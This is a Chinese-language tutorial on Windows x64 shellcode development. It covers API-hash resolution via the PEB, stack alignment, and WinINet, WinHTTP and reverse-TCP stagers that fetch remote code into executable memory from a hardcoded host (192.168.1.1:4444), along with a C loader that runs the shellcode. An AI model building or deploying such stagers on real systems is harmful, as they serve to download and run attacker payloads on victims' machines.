Windows Shellcode开发(x64 stager)
字数 2090 2025-08-29 22:41:10

Windows x64 Shellcode开发技术详解

一、环境配置与基础概念

1.1 开发环境搭建

  • 工具链:Visual Studio + ml64 + link
  • 配置步骤:
    1. 创建C++控制台应用项目
    2. 右键项目 → 生成依赖项 → 生成自定义 → 勾选masm
    3. 添加shellcode.asm文件
    4. 配置入口点(Debug和Release都需要)
    5. Release下设置命令行参数:/SAFESEH:NO

1.2 x64 Shellcode关键注意事项

最重要的规则:RSP必须保持16字节对齐!

  • Windows x64调用约定要求调用函数时RSP必须对齐到16字节边界
  • 涉及栈操作时,push/pop指令必须使RSP以0结尾
  • 不对齐会导致异常

二、GetProcAddressByHash实现

2.1 核心思路

  1. 获取PEB地址:从GS寄存器中获取TEB,再获取PEB
  2. 遍历加载的模块列表:从PEB访问Ldr成员,获取PEB_LDR_DATA结构
  3. 查找目标DLL:比较每个模块的BaseDllName与目标DLL名称
  4. 解析目标DLL的导出表:获取PE头,定位导出表,遍历函数名称

2.2 详细实现步骤

  1. 保存寄存器状态

    • 保存前4个参数(rcx, rdx, r8, r9)到栈上
    • 保存rsi的值(非易失性寄存器)
  2. 获取模块信息

    mov rdx, gs:[rdx+60h]  ; 获取PEB
    mov rdx, [rdx+18h]     ; 获取PEB_LDR_DATA
    mov rdx, [rdx+20h]     ; 获取InLoadOrderModuleList第一个模块
    
  3. 模块遍历

    movzx rcx, word ptr [rdx+48h]  ; 获取模块名称长度
    mov rsi, [rdx+50h]             ; 获取模块名称指针
    
  4. 计算模块hash

    • 将字符串统一为大写或小写(保证大小写不敏感)
    • 使用循环右移(ror)计算hash(如ror r8d, 0dh)
  5. 获取导出表

    mov rdx, [rdx+20h]            ; 获取模块基址
    mov eax, dword ptr [rdx+3ch]  ; 获取PE头RVA
    cmp word ptr [rax+18h], 20Bh  ; 检查PE类型(0x20B=PE64)
    mov eax, dword ptr [rax+88h]  ; 获取导出表RVA
    
  6. 函数查找

    • 遍历导出表中的函数名称
    • 计算函数hash并与目标hash比较
    • 找到匹配后获取函数地址
  7. 调用准备

    • 清理栈空间
    • 恢复寄存器状态
    • 预留32字节的影子空间(Windows x64调用约定要求)

三、弹窗Shellcode实现

3.1 关键代码结构

main proc
    ; 栈对齐
    and rsp, 0xFFFFFFFFFFFFFFF0
    
    ; 调用GetProcAddressByHash获取函数地址
    ; 调用MessageBoxA等API
    ret
main endp

3.2 注意事项

  1. 字符串处理

    • MASM与NASM字符串表示方式不同
    • 正确表示:mov r14, '23resu'mov r14,0000323372657375h
  2. 参数传递

    • 前4个参数:RCX、RDX、R8、R9
    • 后续参数:从右到左压栈
    • 必须预留32字节影子空间
  3. 栈对齐技巧

    • 使用push 0等方式保证RSP对齐
    • 每次call前检查RSP是否16字节对齐

四、Stager开发技术

4.1 WinINet版Stager

关键实现点:

  1. InternetOpen

    • lpszAgent可设为NULL(使用默认UA "Microsoft-WinINet")
  2. 服务器地址处理

    • 将服务器地址固定在Shellcode末尾,便于修改
    • 示例IP表示:0101A8C05C110002h (192.168.1.1:4444)
  3. URI处理技巧

    call httpOpenRequestA
    db "/uri",0
    httpOpenRequestA:
    pop rsi  ; 获取URI地址
    
  4. HttpOpenRequest标志

    • 添加INTERNET_FLAG_RELOAD强制从服务器获取最新内容
  5. 内存管理

    • 使用VirtualAlloc分配可执行内存
    • 注意清理影子空间,确保ret时RSP指向正确地址

4.2 WinHTTP版Stager

与WinINet版的主要区别:

  1. API函数不同(WinHTTP API系列)
  2. 连接参数设置方式差异
  3. 数据接收处理逻辑类似

4.3 WS2_32版Stager(反向TCP)

关键实现:

  1. WSAStartup调用

    sub rsp, 400+8  ; WSAData结构体(400字节)+对齐补偿
    mov r12, 0101A8C05C110002h  ; sockaddr_in结构
    
  2. 连接处理

    • 反向连接只需connect,无需bind/listen/accept
    • 直接向控制端监听端口发起连接
  3. 栈空间管理

    • 计算需要清理的栈空间:
      • WSAData: 400+8
      • push/pop不平衡: 5*8
      • 影子空间: 4*32
  4. 数据接收

    • 分段接收远程代码
    • 避免在原始数据开头patch 4字节长度信息

五、测试与提取

5.1 Shellcode测试方法

  1. 使用010 Editor等工具提取Shellcode二进制
  2. 使用专用加载器(如runshc64.exe)测试
  3. 或导出为C语言数组形式嵌入测试程序

5.2 测试程序示例

unsigned char shellcode[] = { /* 提取的Shellcode */ };

int main() {
    void (*func)() = (void(*)())shellcode;
    func();
    return 0;
}

六、高级技巧与注意事项

  1. 寄存器使用

    • 优先使用R12-R15等非易失性寄存器保存重要值
    • 注意调用约定中寄存器的易失性/非易失性
  2. 对齐问题

    • 所有call指令前必须确保RSP 16字节对齐
    • 必要时使用push 0等指令进行填充
  3. 字符串处理优化

    • 将字符串放在代码段末尾便于修改
    • 使用寄存器直接加载小字符串
  4. 错误处理

    • 添加适当的错误检查逻辑
    • 确保失败时能安全退出

七、参考资源

  1. Metasploit框架中的相关汇编代码:

    • stager_reverse_https.asm
    • block_api.asm
    • block_reverse_https.asm
  2. Microsoft官方文档:

    • x64调用约定
  3. 相关技术文章:

    • Windows Shellcode开发(x86 stager)

八、后续研究方向

  1. Linux Shellcode开发
  2. SRDI(反射式DLL注入)技术
  3. 更复杂的载荷加载与执行机制
  4. 规避检测的技术实现
Windows x64 Shellcode开发技术详解 一、环境配置与基础概念 1.1 开发环境搭建 工具链 :Visual Studio + ml64 + link 配置步骤: 创建C++控制台应用项目 右键项目 → 生成依赖项 → 生成自定义 → 勾选masm 添加shellcode.asm文件 配置入口点(Debug和Release都需要) Release下设置命令行参数:/SAFESEH:NO 1.2 x64 Shellcode关键注意事项 ⚠ 最重要的规则 :RSP必须保持16字节对齐! Windows x64调用约定要求调用函数时RSP必须对齐到16字节边界 涉及栈操作时,push/pop指令必须使RSP以0结尾 不对齐会导致异常 二、GetProcAddressByHash实现 2.1 核心思路 获取PEB地址:从GS寄存器中获取TEB,再获取PEB 遍历加载的模块列表:从PEB访问Ldr成员,获取PEB_ LDR_ DATA结构 查找目标DLL:比较每个模块的BaseDllName与目标DLL名称 解析目标DLL的导出表:获取PE头,定位导出表,遍历函数名称 2.2 详细实现步骤 保存寄存器状态 : 保存前4个参数(rcx, rdx, r8, r9)到栈上 保存rsi的值(非易失性寄存器) 获取模块信息 : 模块遍历 : 计算模块hash : 将字符串统一为大写或小写(保证大小写不敏感) 使用循环右移(ror)计算hash(如ror r8d, 0dh) 获取导出表 : 函数查找 : 遍历导出表中的函数名称 计算函数hash并与目标hash比较 找到匹配后获取函数地址 调用准备 : 清理栈空间 恢复寄存器状态 预留32字节的影子空间(Windows x64调用约定要求) 三、弹窗Shellcode实现 3.1 关键代码结构 3.2 注意事项 字符串处理 : MASM与NASM字符串表示方式不同 正确表示: mov r14, '23resu' 或 mov r14,0000323372657375h 参数传递 : 前4个参数:RCX、RDX、R8、R9 后续参数:从右到左压栈 必须预留32字节影子空间 栈对齐技巧 : 使用 push 0 等方式保证RSP对齐 每次call前检查RSP是否16字节对齐 四、Stager开发技术 4.1 WinINet版Stager 关键实现点: InternetOpen : lpszAgent可设为NULL(使用默认UA "Microsoft-WinINet") 服务器地址处理 : 将服务器地址固定在Shellcode末尾,便于修改 示例IP表示: 0101A8C05C110002h (192.168.1.1:4444) URI处理技巧 : HttpOpenRequest标志 : 添加 INTERNET_FLAG_RELOAD 强制从服务器获取最新内容 内存管理 : 使用VirtualAlloc分配可执行内存 注意清理影子空间,确保ret时RSP指向正确地址 4.2 WinHTTP版Stager 与WinINet版的主要区别: API函数不同(WinHTTP API系列) 连接参数设置方式差异 数据接收处理逻辑类似 4.3 WS2_ 32版Stager(反向TCP) 关键实现: WSAStartup调用 : 连接处理 : 反向连接只需connect,无需bind/listen/accept 直接向控制端监听端口发起连接 栈空间管理 : 计算需要清理的栈空间: WSAData: 400+8 push/pop不平衡: 5* 8 影子空间: 4* 32 数据接收 : 分段接收远程代码 避免在原始数据开头patch 4字节长度信息 五、测试与提取 5.1 Shellcode测试方法 使用010 Editor等工具提取Shellcode二进制 使用专用加载器(如runshc64.exe)测试 或导出为C语言数组形式嵌入测试程序 5.2 测试程序示例 六、高级技巧与注意事项 寄存器使用 : 优先使用R12-R15等非易失性寄存器保存重要值 注意调用约定中寄存器的易失性/非易失性 对齐问题 : 所有call指令前必须确保RSP 16字节对齐 必要时使用 push 0 等指令进行填充 字符串处理优化 : 将字符串放在代码段末尾便于修改 使用寄存器直接加载小字符串 错误处理 : 添加适当的错误检查逻辑 确保失败时能安全退出 七、参考资源 Metasploit框架中的相关汇编代码: stager_ reverse_ https.asm block_ api.asm block_ reverse_ https.asm Microsoft官方文档: x64调用约定 相关技术文章: Windows Shellcode开发(x86 stager) 八、后续研究方向 Linux Shellcode开发 SRDI(反射式DLL注入)技术 更复杂的载荷加载与执行机制 规避检测的技术实现